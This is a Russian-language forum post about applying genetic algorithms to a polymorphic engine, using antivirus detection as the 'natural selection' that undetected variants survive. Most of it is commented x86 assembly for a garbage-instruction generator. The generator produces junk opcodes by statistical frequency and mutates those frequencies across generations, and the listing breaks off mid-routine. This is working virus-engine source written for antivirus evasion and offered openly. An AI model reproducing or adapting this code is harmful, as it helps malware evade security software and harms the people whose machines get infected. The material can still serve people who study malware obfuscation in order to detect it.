    Генетический алгоритм - это реализация эволюционной теории в виде программы. ГА работают с популяцией особей и и расставляя им вероятности по характеристикам её "выживаемости" или "приспособленности". Наиболее приспособленные особи - это те особи которые достаточно "хорошо" решают поставленную задачу. Данные особи скрещиваются друг с другом. Поэтому все хорошие характеристики остаются в популяции, а плохие уходят вместе с их не "приспособленными" носителями.

    Генетические Алгоритмы чаще всего используют две функции:
    Кроссовер - это скрещивание наиболее выживаемых особей.
    Мутация - это изменение случайных характеристик особи.

    Теперь перейдём к реализации эволюционных алгоритмов в полиморфных движках. Мы будем применять ГА к нашему полиморфному движку с статистическими вероятностями.

    Алгоритм генератора мусора с статистическими вероятностями и ГА:
    Генерируется код по статистическим вероятностям
    Выбираются случайно и мутируют два стат. признака (1 раз в 10 поколений). Это наша реализация мутации.
    Выбираются два определяющих стат. признака и изменяются каждое поколение. Это наш кроссовер.

    В качестве отсеивающего признака эволюции будут выступать антивирусные программы.

    Если особь активна, считается что она прошла отбор. И она продолжает свой подъём или спуск по лестнице эволюции.

    Продолжение ниже:
     
    Последнее редактирование модератором: 8 фев 2009
    8 фев 2009
  4. Mei
    Mei Guest
    В качестве примера реализации данной техники приводится:
    Код:
    ;----[Резать здесь]--------------------------------------------------------;
    ;                                                                          ;
    ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
    ; ГЕНЕРАТОР МУСОРНЫХ ИНСТРУКЦИЙ V.0.4(x) 2004 СЛОН http://slon.wronger.com ;
    ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
    ; Использование:        mov	edi,БУФЕР ДЛЯ КОДА                         ;
    ;			mov	ecx,ДЛИНА КОДА                             ;
    ;			mov	ebx,НЕ ИСПОЛЬЗУЕМЫЕ РЕГИСТРЫ(_all)         ;
    ;			call	garbage                                    ;
    ;--------------------------------------------------------------------------;
    ; Результат:		сгенерированный код в edi                          ;
    ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
    ; ВЕРСИЯ 0.3		Генерация инструкций по заданным статистическим    ;
    ;			характерстикиам(они получены в результате анализа  ;
    ;			большого количества файлов формата "PE")           ;
    ;--------------------------------------------------------------------------;
    ; ВЕРСИЯ 0.2		Добавлены новые инструкции x86, так же добавлены   ;
    ;			инструкции сопроцессора (x87)                      ;
    ;--------------------------------------------------------------------------;
    ; ВЕРСИЯ 0.1		Реализация многих инструкций x86 процессора,       ;
    ;			случайная комбинация инструкций                    ;
    ;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
    
    ;----[Главная подпрограмма генератора мусора]------------------------------;
    
    garbage:					; Подпрограмма генерации
    						; мусорных инструкций
    		push	edx			; Сохраняем в стэке
    		push	ecx			; edx, ecx, esi, ebp, ecx,
    		push	esi			; eax
    		push	ebp			;
    		push	ebx			;
    		push	eax			;
    
    		call	delta_offset		; 
    delta_offset:	pop	ebp			; Получаем дельта смещение
    		sub	ebp,offset delta_offset	;
    
    		call	r_init			; Инициалицируем ГСЧ
    __st__:
    		test	ecx,ecx			; Если все инструкции
    		jz	landing			; сгенерированы, то на выход
    
    		mov	eax,21			; Выбираем случайным образом
    		call	brandom32		; вариант генерации мусорных
    						; инструкций
    		shl	eax,1			; Умножаем eax на 2
    
    		call	__freq__		; Выбираем блок инструкций
    						; по статистической 
    						; вероятности
    		test	eax,eax			; Если не выбрали, то
    		jz	__st__			; пытаемся снова
    
    		lea	esi,[ebp+mega_table]	; В esi смещение на таблицу
    						; относительных смещений
    		add	esi,eax			; к esi добавляем eax
    		xor	eax,eax			; Обнуляем eax
    		lodsw				; В ax загружаем 
    						; относительное смещение от
    						; метки __st__
    		lea	esi,[ebp+__st__]	; В esi кладём смещение 
    						; метки __st__
    		add	eax,esi			; Добавляем смещение 
    						; подпрограммы
    		call	eax			; Вызываем её
    		jmp	__st__			; Переход на __st__
    
    ;----[Завершение работы генератора мусора]---------------------------------;
    
    landing:
    		inc	[ebp+__generation]	; Увеличиваем счётчик
    						; поколений
    
    		cmp	[ebp+__generation],10	; Если это не 10 поколение,
    		jne	__ne__			; то идём на выход
    
    		mov	[ebp+__generation],0	; Сбрасываем счётчик
    						; поколений 
    
    		call	gen_mutation		; Вызываем изменение 1 случ.
    						; мат. ожидания
    
    		mov	[ebp+__cross1],ecx	; Выбираем 1 опр. фактор
    						; эволюции
    
    		call	gen_mutation		; Вызываем изменение 2 случ.
    						; мат. ожидания
    
    		mov	[ebp+__cross2],ecx	; Выбираем 2 опр. фактор
    						; эволюции
    __ne__:
    		mov	ecx,[ebp+__cross1]	; Производим селекцию 1 опр.
    		call	gen_crossover		; фактора эволюции
    
    		mov	ecx,[ebp+__cross1]	; Производим селекцию 2 опр.
    		call	gen_crossover		; фактора эволюции
    
    		pop	eax			;
    		pop	ebx			;
    		pop	ebp			;
    		pop	esi			; Восстанавливаем регистры
    		pop	ecx			;
    		pop	edx			;
    
    		ret				; Возврат из подпрограммы
    ;----[Подпрограмма выбора стат. вероятностей]------------------------------;
    
    __freq__:
    		push	eax			; Сохраняем eax в стэке
    
    		lea	esi,[ebp+__freq_table]	; Загружаем указатель на
    		add	esi,eax			; таблицу с мат. ожиданиями
    		lodsw				; Загружаем в ax мат.
    						; ожидание
    		mov	edx,eax			; Переносим её в edx
    
    		mov	eax,1001		; Генеририуем случайное
    		call	brandom32		; число в интервале 0..1000
    
    		cmp	edx,eax			; Проверяем попали ли мы?
    		jge	__exit__		; Если попали, то на выход
    		mov	4 ptr [esp],0		; Нет обнулим верхушку
    						; стэка
    __exit__:
    		pop	eax			; Восстанавливаем eax из
    						; стэка
    		ret				; Возврат из подпрограммы
    
    ;----[Подпрограмма изменения мат. ожидания]--------------------------------;
    
    gen_mutation:
    		mov	eax,21			; Выбираем случайным образом
    		call	brandom32		; вариант генерации мусорных
    						; инструкций
    		shl	eax,1			; Умножаем eax на 2
    
    		lea	esi,[ebp+__freq_table]	; В esi смещение на таблицу
    						; мат. ожиданий опкодов
    		add	esi,eax			; к esi добавляем eax
    		xor	eax,eax			; Обнуляем eax
    		lodsw				; В ax загружаем мат.
    						; ожидание
    
    		call	brandom32		; Генерируем СЧ в диапазоне
    		sub	esi,2			; 0..мат.ожидание-1 и
    						; уменьшаем esi на 2
    		sub	2 ptr [esi],ax		; Вычитаем из мат. ожидания
    						; Наше случаное число
    		push	eax			; Сохраняем в стэке СЧ
    
    		mov	eax,21			; Выбираем случайным образом
    		call	brandom32		; вариант генерации мусорных
    						; инструкций
    		shl	eax,1			; Умножаем eax на 2
    
    		mov	ecx,eax			;
    
    		lea	esi,[ebp+__freq_table]	; В esi смещение на таблицу
    						; мат. ожиданий опкодов
    		add	esi,eax			; к esi добавляем eax
    
    		pop	eax			; Восстанавливаем из стэка
    						; СЧ
    		add	2 ptr [esi],ax		; И добавляем его к другому
    						; Мат. ожиданию
    		ret				; Возврат из подпрограммы
    
    ;----[Подпрограмма селекции опр. фактора эволюции]-------------------------;
    
    gen_crossover:
    
    		mov	eax,21			; Выбираем случайным образом
    		call	brandom32		; вариант генерации мусорных
    						; инструкций
    		shl	eax,1			; Умножаем eax на 2
    
    		lea	esi,[ebp+__freq_table]	; В esi смещение на таблицу
    						; мат. ожиданий опкодов
    		add	esi,eax			; к esi добавляем eax
    		xor	eax,eax			; Обнуляем eax
    		lodsw				; В ax загружаем мат.
    						; ожидание
    
    		call	brandom32		; Генерируем СЧ в диапазоне
    		sub	esi,2			; 0..мат.ожидание-1 и
    						; уменьшаем esi на 2
    		sub	2 ptr [esi],ax		; Вычитаем из мат. ожидания
    						; Наше случаное число
    		push	eax			; Сохраняем в стэке СЧ
    
    		lea	esi,[ebp+__freq_table]	; В esi смещение на таблицу
    						; мат. ожиданий опкодов
    		add	esi,ecx			; к esi добавляем eax
    
    		pop	eax			; Восстанавливаем из стэка
    						; СЧ
    		add	2 ptr [esi],ax		; И добавляем его к другому
    						; Мат. ожиданию
    		ret				; Возврат из подпрограммы
    
    
    ;----[Генерация инструкций JXX SHORT - 0x70..0x7f]-------------------------;
    
    __jxx_short:
    		mov	eax,50			; Генерируем случайное число
    		call	brandom32		; в диапазоне 0..49
    		push	eax			; Сохраняем eax в стэке
    		add	eax,2			; Добавляем длину перехода
    		cmp	eax,ecx			; Проверяем не больше ли
    						; длины
    						; Всех инструкций
    		pop	eax			; Восстанавливаем из стэка
    						; eax
    		jle	__gen1__		; Если число превышает длину
    		ret				; то выходим из подпрограммы
    __gen1__:					;
    		push	eax			; Кладём eax опять в стэк
    		mov	eax,10			; Выбираем случайным образом
    		call	brandom32		; число от 0..9
    		add	al,70h			; Добавляем 70h
    		stosb				; и кладём его в буфер
    		pop	eax			; Вынимаем из стэка eax и
    		stosb				; кладём в буфер
                    mov	edx,eax			; Кладём число в edx
    		push	ecx			; Сохраняем ecx в стэке
    		mov	ecx,edx			; Генерируем рекурсивно
    		call	garbage			; мусор между переходом
    		pop	ecx			; Восстанавливаем ecx
    						; В итоге у нас получается
    						; случайно выбранный,
    						; условный переход:
    						; .........................
    						; 	jae	next
    						;	mov	eax,0
    						; next:	nop
    						; .........................
    		sub	ecx,2			; Уменьшаем счётчик на 2
    		sub	ecx,edx			; И на длину перехода
    		ret				; Возврат из подпрограммы
    
    ;----[Генерация инструкций NOT/NEG - 0xf7]---------------------------------;
    
    __not_r32:
    		cmp	cl,2			; Если длина генерируемой
    		jge	__g1__			; инструкции меньше 2, то
    		ret				; Возврат из подпрограммы
    __g1__:
    		mov	al,0f7h			; Помещаем в al - 0f7h
    		stosb				; и кладём его в буфер
    		mov	dl,0d0h			; Помещаем в dl - 0d0h
    		mov	eax,2			; Генерируем случайное число
    		call	brandom32		; в диапазоне 0..1
    		shl	eax,3			; Умножаем его на 8
    		add	dl,al			; Добавляем к dl - al
    		call	free_reg		; Вызываем подпрограмму 
    						; получения свободных 
    						; регистров
    		add	al,dl			; Добавляем к al - dl
    		stosb				; и кладём его в буфер
    						; В итоге у нас получается
    						; случайно выбранная
    						; инструкция NOT/NEG:
    						; .........................
    						; 	not	eax
    						; .........................
    		sub	ecx,2			; Уменьшаем счётчик на 2
    		ret				; Возврат из подпрограммы
    
    ;----[Генерация инструкций JXX NEAR - 0x0f 0x80..0x0f 0x89]----------------;
    
    __jxx_near:
    		mov	eax,50			; Генерируем случайное число
    		call	brandom32		; в диапазоне 0..49
    		push	eax			; Сохраняем его в стэке
    		add	eax,6			; Добавляем длину перехода
    		cmp	eax,ecx			; Проверяем не больше длины
    						; Всех инструкций
    		pop	eax			; Восстанавливаем eax из
    						; стэка
    		jle	__gen2__		; Если число превышает длину
    		ret				; то выходим из подпрограммы
    __gen2__:					;
    		push	eax			; Сохраняем в стэке eax
    		mov	al,0fh			; Помещаем в al - 0fh
    		stosb				; и кладём его в буфер
    		mov	eax,10			; Выбираем случайным образом
    		call	brandom32		; число от 0..9
    						;
    		add	al,80h			; Добавляем 80h
    		stosb				; и кладём его в буфер
    		pop	eax			; Вынимаем из стэка eax
    		stosd				; Помещаем его в буфер
                    mov	edx,eax			; Кладём в edx - eax
    		push	ecx			; Сохраняем ecx в стэке
    		mov	ecx,edx			; Генерируем рекурсивно
    		call	garbage			; мусор между переходом
    		pop	ecx			; Восстанавливаем ecx
    						; В итоге у нас получается
    						; случайно выбранный,
    						; условный, переход:
    						; .........................
    						; 	je	next
    						;	push	0
    						; next:	push	64
    						; .........................
    		sub	ecx,6			; Уменьшаем счётчик на 6
    		sub	ecx,edx			; И на длину инструкций
    						;
    		ret				; Возврат из подпрограммы
    
    ;----[Генерация инструкций сопроцессора - 0xdc]----------------------------;
    
    __x87:
    		cmp	cl,2			; Если длина генерируемой
    		jge	__g2__			; инструкции меньше 2, то
    		ret				; Возврат из подпрограммы
    __g2__:
    		mov	al,0dch			; Кладём в al - 0dch
    		stosb				; И помещаем al в буфер
    		mov	eax,02fh		; Генерируем случайное число
    		call	brandom32		; в интервале 0..2eh
    		add	al,0c0h			; Добавляем к числу 0c0h
    		stosb				; и помещаем сумму в буфер
    						; В итоге у нас получается
    						; случайно выбранная
    						; инструкция сопроцессора:
    						; .........................
    						; 	fadd	st(0),st
    						; .........................
    		sub	ecx,2			; Уменьшаем счётчик на 2
    		ret				; Возврат из подпрограммы
    
    ;----[Генерация инструкций сравнения - 0x3a]-------------------------------;
    
    __cmp_r32_r32:
    		cmp	cl,2			; Если длина генерируемой
    		jge	__g3__			; инструкции меньше 2, то
    		ret				; Возврат из подпрограммы
    __g3__:
    		mov	dl,3ah			; Помещаем в dl - 03ah
    		mov	eax,3			; Получаем случайное число
    		call	brandom32		; в диапазоне 0..2
    		add	al,dl			; Добавляем к al - dl
    		stosb				; Затем помещаем al в буфер
    		call	rnd_reg			; Получаем случайный регистр
    		shl	eax,3			; Умножаем eax на 8
    		add	al,0c0h			; Добавляем к al - 0c0h
    		mov	dl,al			; помещаем в dl - al
    		call	rnd_reg			; Получаем случайный регистр
    		add	al,dl			; Добавляем к al - dl
    		stosb				; И помещаем al в буфер
    						; В итоге у нас получается
    						; случайно выбранная
    						; инструкция CMP:
    						; .........................
    						; 	cmp	eax,esp
    						; .........................
    		sub	ecx,2			; Уменьшаем счётчик на 2
    		ret				; Возврат из подпрограммы
    
    ;----[Генерация инструкций XOR - 0x33]-------------------------------------;
    
    __xor_r32_r32:
    		cmp	cl,2			; Если длина генерируемой
    		jge	__g4__			; инструкции меньше 2, то
    		ret				; Возврат из подпрограммы
    __g4__:
    		mov	al,33h			; Помещаем в al - 33h
    		stosb				; И затем кладём это в буфер
    		call	free_reg		; Вызываем подпрограмму 
    						; получения свободных 
    						; регистров
    		shl	eax,3			; Умножаем eax на 8
    		add	al,0c0h			; Добавляем к al - 0c0h
    		mov	dl,al			; помещаем в dl - al
    		call	rnd_reg			; Получаем случайный регистр
    		add	al,dl			; Добавляем к al - dl
    		stosb				; И помещаем al в буфер
    						; В итоге у нас получается
    						; случайно выбранная
    						; инструкция XOR:
    						; .........................
    						; 	xor	eax,esp
    						; .........................
    		sub	ecx,2			; Уменьшаем счётчик на 2
    		ret				; Возврат из подпрограммы
    
    ;----[Генерация инструкций TEST - 0x84]------------------------------------;
    
    __test_r32_r32:
    		cmp	cl,2			; Если длина генерируемой
    		jge	__g5__			; инструкции меньше 2, то
    		ret				; Возврат из подпрограммы
    __g5__:
    		mov	dl,084h			; Помещаем в dl - 084h
    		mov	eax,2			; Получаем случайное число
    		call	brandom32		; в диапазоне 0..1
    		add	al,dl			; Добавляем к al - dl
    		stosb				; И затем кладём это в буфер
    		call	rnd_reg			; Вызываем подпрограмму 
    						; получения случайного 
    						; регистра
    		add	al,0c0h			; Добавляем к al - 0c0h
    		mov	dl,al			; помещаем в dl - al
    		call	rnd_reg			; Получаем случайный регистр
    		add	al,dl			; Добавляем к al - dl
    		stosb				; И помещаем al в буфер
    						; В итоге у нас получается
    						; случайно выбранная
    						; инструкция TEST:
    						; .........................
    						; 	test	eax,esp
    						; .........................
    		sub	ecx,2			; Уменьшаем счётчик на 2
    		ret				; Возврат из подпрограммы
    
    ;----[Генерация инструкций MOV, XCHG - 0x87,0x89,0x8b]---------------------;
    
    __mov_r32_r32:
    		cmp	cl,2			; Если длина генерируемой
    		jge	__g6__			; инструкции меньше 2, то
    		ret				; Возврат из подпрограммы
    __g6__:
    		mov	eax,3			; Генерируем СЧ в 
    		call	brandom32		; диапазоне 0..2
    
    		test	eax,eax			; Проверяем, как опкод мы
    		jnz	__ng1__			; будем генерировать
    						; Если не 0, то 0x8b
    
    		mov	eax,10			; Генерируем СЧ в 
    		call	brandom32		; диапазоне 0..9
     
    		test	eax,eax			; Проверяем какой опкод мы
    		jnz	__ng2__			; будем генерировать
    						; Если не 0, то 0x89
    
    		mov	al,87h			; Будем генерировать 0x87
    		jmp	__ag1__			; Идём дальше
    __ng2__:
    		mov	al,89h			; Будем генерировать 0x89
    		jmp	__ag1__			; Идём дальше
    __ng1__:
    		mov	al,8bh			; Помещаем в al - 8bh
    __ag1__:
    		stosb				; Потом помещаем al в буфер
    		call	free_reg		; Вызываем подпрограмму 
    						; получения свободных 
    						; регистров
    		shl	eax,3			; Умножаем eax на 8
    		add	al,0c0h			; Добавляем к al - 0c0h
    		mov	dl,al			; помещаем в dl - al
    		call	free_reg		; Получаем случайный регистр
    		add	al,dl			; Добавляем к al - dl
    		stosb				; И помещаем al в буфер
    						; В итоге у нас получается
    						; случайно выбранная
    						; инструкция MOV, XCHG:
    						; .........................
    						; 	mov	eax,esp
    						; .........................
    		sub	ecx,2			; Уменьшаем счётчик на 2
    		ret				; Возврат из подпрограммы
    
    ;----[Генерация инструкций PUSH/POP - 0x50..0x57;0x58..0x5f]---------------;
    
    __push_r32:
    		mov	eax,10			; Генерируем СЧ в
    		call	brandom32		; диапазоне 0..9
    		mov	edx,eax			; Кладём его в edx
    		add	al,2			; Доавляем к al - 2
    
    		cmp	eax,ecx			; Если длина генерируемой
    		jle	__g7__			; инструкции меньше 2
    						; и длины мусора ,то
    		ret				; Возврат из подпрограммы
    __g7__:
    		call	free_reg		; Получаем случайный регистр
    		add	al,50h			; Добавляем к al - 50h
    		stosb				; Кладём al в буфер
    
    		push	ecx			; Сораняем ecx в стэке
    		mov	ecx,edx			; Генерируем серию
    		call	garbage			; мусорных инструкций
    		pop	ecx			; Вынимаем ecx из стэка
    
    		call	free_reg		; Вызываем подпрограмму 
    						; получения свободных 
    						; регистров
    		add	al,58h			; Добавляем к al - 58h
    		stosb				; И опять кладём al в буфер
    						; В итоге у нас получается
    						; случайно выбранная
    						; инструкции PUSH/POP:
    						; .........................
    						; 	push	eax
    						;	mov	eax,2
    						; 	pop	ecx
    						; .........................
    		sub	ecx,edx			; Уменьшаем счётчик на edx
    		sub	ecx,2			; Уменьшаем счётчик на - 2
    		ret				; Возврат из подпрограммы
    
    ;----[Генерация инструкций MOV - 0x0b8]------------------------------------;
    
    __mov_r32_imm32:
    		cmp	cl,5			; Если длина генерируемой
    		jge	__g8__			; инструкции меньше 5, то
    		ret				; Возврат из подпрограммы
    __g8__:						; 
    		call	free_reg		; Вызываем подпрограмму 
    						; получения свободных 
    						; регистров
    		add	al,0b8h			; Добавляем к al - 0b8h
    		stosb				; И кладём al в буфер
    		xor	eax,eax			; Обнуляем eax
    		dec	eax			; Теперь eax = 0ffffffffh
    		call	brandom32		; Генерируем случайное
    		stosd				; число
    						; В итоге у нас получается
    						; случайно выбранная
    						; инструкции MOV:
    						; .........................
    						; 	mov   eax,12345678
    						; .........................
    		sub	ecx,5			; Уменьшаем счётчик на 5
    		ret				; Возврат из подпрограммы
    
    ;----[Генерация инструкций JMP SHORT - 0xeb]-------------------------------;
    
    __jmp_short:
    		cmp	cl,2			; Если длина генерируемой 
    		jg	__g9__			; инструкции меньше 2, то
    		ret				; Воврат из подпрограммы
    __g9__:
    		mov	eax,50			; Генерируем случайное число
    		call	brandom32		; в диапазоне 0..49
    		push	eax			; Сохраняем его в стэке
    		add	eax,2			; Добавляем длину перехода
    		cmp	eax,ecx			; Проверяем не больше длины
    		pop	eax			; Восстанавливаем из стэка
    		jle	__gen3__		; Если число превышает длину
    		ret				; то выходим из подпрограммы
    __gen3__:					;
    		push	eax			; Сохраняем в стэке eax
    		mov	al,0ebh			; Кладём в al - 0ebh
    		stosb				; И кладём al в буфер
    		pop	eax			; Восстанавливаем из стэка
    		stosb				; Помещаем его в буфер
                    mov	edx,eax			; Кладём в edx - eax
    		push	ecx			; Сохраняем ecx в стэке
    		mov	ecx,edx			; Генерируем рекурсивно
    		call	garbage			; мусор между переходом
    		pop	ecx			; Восстанавливаем ecx
    						; В итоге у нас получается
    						; случайно выбранная
    						; инструкции JMP SHORT:
    						; .........................
    						; 	jmp	next
    						;	mov	ax,22
    						; next:	nop
    						; .........................
    		sub	ecx,2			; Уменьшаем счётчик на 2
    		sub	ecx,edx			; И на длину инструкций
    						;
    		ret				; Возврат из подпрограммы
    
    ;----[Генерация инструкций ADD - 0x81]-------------------------------------;
    
    __add_r32_imm32:
    		cmp	cl,6			; Если длина генерируемой
    		jge	g10__			; инструкции меньше 6, то
    		ret				; Возврат из подпрограммы
    g10__:
    		mov	al,81h			; Кладём в al - 81h
    		stosb				; И помещаем al в буфер
    		mov	eax,4			; Получаем случайное число
    		call	brandom32		; в диапазоне от 0..9
    		add	al,0ch			; Добавляем к нему - 0ch
    		shl	al,4			; Умножаем al на 16
    		mov	dl,al			; Кладём в dl - al
    		mov	eax,2			; Получаем случайное число
    		call	brandom32		; в диапазоне от 0..1
    		shl	al,3			; Умножаем al на 8
    		add	dl,al			; Добавляем к dl - al
    		call	free_reg		; Вызываем подпрограмму 
    						; получения свободных 
    						; регистров
    		add	al,dl			; Добавляем к al - dl
    		stosb				; И кладём al в буфер
    		xor	eax,eax			; Обнуляем eax
    		dec	eax			; Теперь eax = 0ffffffffh
    		call	brandom32		; Генерируем случайное
    		stosd				; число и кладём его в буфер
    						; В итоге у нас получается
    						; случайно выбранная
    						; инструкции ADD:
    						; .........................
    						; 	add   eax,12345678
    						; .........................
    		sub	ecx,6			; Уменьшаем счётчик на 6
    		ret				; Возврат из подпрограммы
    
    ;----[Генерация инструкций LEA - 0x8d]-------------------------------------;
    
    __lea_r32_imm32:
    		cmp	cl,6			; Если длина генерируемой
    		jge	__g11__			; инструкции меньше 6, то
    		ret				; Возврат из подпрограммы
    __g11__:
    		mov	al,8dh			; Кладём в al - 8dh
    		stosb				; И помещаем al в буфер
    		call	free_reg		; Вызываем подпрограмму 
    						; получения свободных 
    						; регистров
    		shl	eax,3			; Умножаем eax на - 8
    		add	al,5			; Добавляем к al - 5
    		stosb				; И кладём al в буфер
    		xor	eax,eax			; Обнуляем eax
    		dec	eax			; Теперь eax = 0ffffffffh
    		call	brandom32		; Генерируем случайное число
    		stosd				; И кладём его в буфер
    						; В итоге у нас получается
    						; случайно выбранная
    						; инструкции LEA:
    						; .........................
    						; 	lea  eax,[12345678]
    						; .........................
    		sub	ecx,6			; Уменьшаем счётчик на 6
    		ret				; Возврат из подпрограммы
    
    ;----[Генерация инструкций CALL NEAR - 0xe8]-------------------------------;
    
    __call_near:
    		mov	eax,50			; Генерируем случайное число
    		call	brandom32		; в диапазоне 0..49
    		mov	edx,eax			; И кладём его в edx
    
    		mov	eax,50			; Генерируем случайное число
    		call	brandom32		; в диапазоне 0..49
    		push	eax			; Сохраняем его в стэке
    		add	eax,11			; Добавляем длину перехода
    		add	eax,edx			; Добавляем к eax - edx
    		cmp	eax,ecx			; Проверяем не больше длины
    		pop	eax			; Восстанавливаем из стэка
    		jle	__gen4__		; Если число превышает
    						; длину, то
    		ret				; Возврат из подпрограммы
    __gen4__:                                              
    		push	edx			; Сохраняем в стэке edx
    		push	eax			; Сохраняем в стэке eax
    		mov	al,0e8h			; Кладём в al - 0e8h
    		stosb				; И помещаем al в буфер
    		mov	eax,[esp]		; Восстанавливаем eax
    		inc	eax			; Увеличиваем eax на - 1
    		stosd				; Кладём eax в буфер
    		xor	eax,eax			; Обнуляем eax
    		dec	eax			; Теперь в eax - 0ffffffffh
    		call	brandom32		; Генерируем СЧ и
    		stosb				; Кладём его в буфер
    		pop	edx			; Вынимаем из стэка в edx
    		push	ecx			; Сохраняем ecx в стэке
    		mov	ecx,edx			; Генерируем рекурсивно
    		call	garbage			; мусор между переходом
    		pop	ecx			; Восстанавливаем ecx
    
    		mov	al,55h			; 
    		stosb				; Кладём в буфер 055h
    		mov	ax,0ec8bh		; 
    		stosw				; Кладём в буфер 0ec8bh
    
    		push	edx			; Кладём edx в стэк
    
    		mov	edx,[esp+4]		; Вынимаем из стэка в edx
    		push	ecx			; Сохраняем ecx в стэке
    		mov	ecx,edx			; Генерируем рекурсивно
    		call	garbage			; мусор между переходом
    		pop	ecx			; Восстанавливаем ecx
    
    		mov	al,5dh			; Кладём в буфер 05dh
    		stosb				; 
    
    		call	free_reg		; Вызываем подпрограмму 
    						; получения свободных 
    						; регистров
    		add	al,58h			; Добавляем к al - 58
    		stosb				; И опять кладём al в буфер
    						; В итоге у нас получается
    						; случайно выбранная
    						; инструкция CALL NEAR:
    						; .........................
    						; 	mov   eax,12345678h
    						; 	call  next
    						; 	add   edx,34567h
    						; next:
    						; 	push   ebp
    						;	mov   ebp,esp
    						; 	xor   eax,edx
    						;	pop   ebp
    						; 	pop   edx
    						; ..........................
    		sub	ecx,11			; Уменьшаем счётчик на 11
    		pop	edx			; Вынимаем из стэка в edx
    		sub	ecx,edx			; Уменьшаем на длину
    						; инструкций
    		pop	edx			; Вынимаем из стэка в edx
    		sub	ecx,edx			; Уменьшаем на длину
    						; инструкций
    		ret				; Возврат из подпрограммы
    
    ;----[Генерация инструкций SHL - 0xc1]-------------------------------------;
    
    __shl_r32_imm8:
    		cmp	cl,3			; Если длина генерируемой
    		jge	__g12__			; инструкции меньше 3, то
    		ret				; Возврат из подпрограммы
    __g12__:
    		mov	al,0c1h			; Кладём в al - 0c1h
    		stosb				; И помещаем al в буфер
    		mov	eax,6			; Генерируем случайное число
    		call	brandom32		; в диапазоне 0..5
    		shl	eax,3			; Умножаем его на 8
    		add	al,0c0h			; Добавляем к нему - 0c0h
    		mov	dl,al			; Помещаем в dl - al
    		call	free_reg		; Вызываем подпрограмму 
    						; получения свободных 
    						; регистров
    		add	al,dl			; Добавляем к al - dl
    		stosb				; И помещаем al в буфер
    		mov	eax,256			; Генерируем случайное число
    		call	brandom32		; в диапазоне 0..255
    		stosb				; И кладём его в буфер
    						; В итоге у нас получается
    						; случайно выбранная
    						; инструкции SHL,ROL, ...:
    						; .........................
    						; 	shl	ebp,04
    						; .........................
    		sub	ecx,3			; Уменьшаем счётчик на 3
    		ret				; Возврат из подпрограммы
    
    ;----[Генерация иструкций XADD - 0x0f 0x0a3 ...]---------------------------;
    
    __xadd_r32_r32:
    		cmp	cl,3			; Если длина генерируемой
    		jge	__g13__			; инструкции меньше 6, то
    		ret				; Возврат из подпрограммы
    __g13__:
    		mov	al,0fh			; Кладём в al - 0fh
    		stosb				; И помещаем al в буфер
    		lea	esi,[ebp+__3_byte_opcode]; Кладём в esi указатель на
    						; таблицу частей 3-х байтных
    						; инструкций
    		mov	eax,14			; Генерируем случайное число
    		call	brandom32		; в диапазоне 0..13
    		add	esi,eax			; Прибавляем к esi - eax 
    		movsb				; Перемещаем байт в буфер
    		mov	dl,0c0h			; Кладём в dl - 0с0h
    		call	free_reg		; Вызываем подпрограмму 
    						; получения свободных 
    						; регистров
    		shl	eax,3			; Умножаем eax на 8
    		add	dl,al			; Добавляем к dl - al
    		call	free_reg		; Вызываем подпрограмму 
    						; получения свободных 
    						; регистров
    		add	al,dl			; Добавляем к al - dl
    		stosb				; И помещаем al в буфер
    						; В итоге у нас получается
    						; случайно выбранная
    						; инструкции XADD,IMUL, ...:
    						; .........................
    						; 	xadd	eax,eax
    						; .........................
    		sub	ecx,3			; Уменьшаем счётчик на 3
    		ret				; Возврат из подпрограммы
    
    ;----[Генерация инструкций MOV - 0x66 0xb8..0xbf]--------------------------;
    
    __mov_r16_imm16:
    		cmp	cl,4			; Если длина генерируемой
    		jge	__g14__			; инструкции меньше 4, то
    		ret				; Возврат из подпрограммы
    __g14__:
    		mov	al,066h			; Кладём в al - 066h
    		stosb				; И помещаем al в буфер
    		mov	dl,0b8h			; Помещаем в dl - 0b8h
    		call	free_reg		; Вызываем подпрограмму 
    						; получения свободных 
    						; регистров
    		add	al,dl			; Добавляем к al - dl
    		stosb				; И помещаем al в буфер
    		xor	eax,eax			; Обнуляем eax
    		dec	eax			; Теперь в eax - 0ffffffffh
    		call	brandom32		; Генерируем СЧ
    		stosw				; И помещаем его в буфер
    						; В итоге у нас получается
    						; случайно выбранная
    						; инструкции MOV:
    						; .........................
    						; 	mov	ax,3452
    						; .........................
    		sub	ecx,4			; Уменьшаем счётчик на 4
    		ret				; Возврат из подпрограммы
    
    ;----[Генерация инструкций CMOVA - 0x0f 0x40..0x4f]------------------------;
    
    __cmova_r32_r32:
    		cmp	cl,3			; Если длина генерируемой
    		jge	__g15__			; инструкции меньше 6, то
    		ret				; Возврат из подпрограммы
    __g15__:
    		mov	al,0fh			; Кладём в al - 0fh
    		stosb				; И помещаем al в буфер
    		mov	eax,15			; Генерируем случайное число
    		call	brandom32		; в диапазоне 0..14
    		add	al,40h			; Добавляем к al - 40h
    		stosb				; И помещаем al в буфер
    		call	free_reg		; Берём случайный регистр
    		shl	eax,3			; Умножаем его на 8
    		add	al,0c0h			; Добавляем к нему - 0c0h
    		mov	dl,al			; Помещаем в dl - al
    		call	rnd_reg			; Вызываем подпрограмму 
    						; получения свободных 
    						; регистров
    		add	al,dl			; Добавляем к al - dl
    		stosb				; И помещаем al в буфер
    						; В итоге у нас получается
    						; случайно выбранная
    						; инструкции CMOVA:
    						; .........................
    						; cmova        eax,edx
    						; .........................
    		sub	ecx,3			; Уменьшаем счётчик на 3
    		ret				; Возврат из подпрограммы
    
    ;----[Генерация инструкций PUSH/POP - 0x6a, 0x0ff 0x0f0..0x0f7;0x58..0x5f]-;
    
    __push_r32_2:
    		mov	eax,10			; Генерируем СЧ
    		call	brandom32		; в диапазоне 0..9
    		mov	edx,eax			; Кладём в edx - eax
    		add	al,3			; Добавляем к al - 3
    
    		cmp	eax,ecx			; Если длина генерируемых
    		jle	__g16__			; инструкций меньше ,то
    		ret				; Возврат из подпрограммы
    __g16__:
    		mov	eax,4			; Генерируем СЧ
    		call	brandom32		; в диапазоне 0..3
